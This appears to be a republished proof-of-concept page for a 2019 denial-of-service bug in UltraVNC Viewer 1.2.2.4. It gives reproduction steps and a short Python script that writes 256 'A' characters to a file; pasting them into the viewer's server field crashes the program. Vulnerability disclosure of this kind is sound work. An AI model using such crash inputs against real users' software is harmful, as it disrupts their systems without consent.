ultravnc viewer 1.2.2.4 vnc server denial of service (poc)

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Code...

				
#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-14
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
#2.- Open UltraViewer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraViewer.txt', 'w')
f.write(cod)
f.close()

Ultravnc viewer 1.2.2.4 vnc server denial of service (poc) Vulnerability / Exploit Source : Ultravnc viewer 1.2.2.4 vnc server denial of service (poc)

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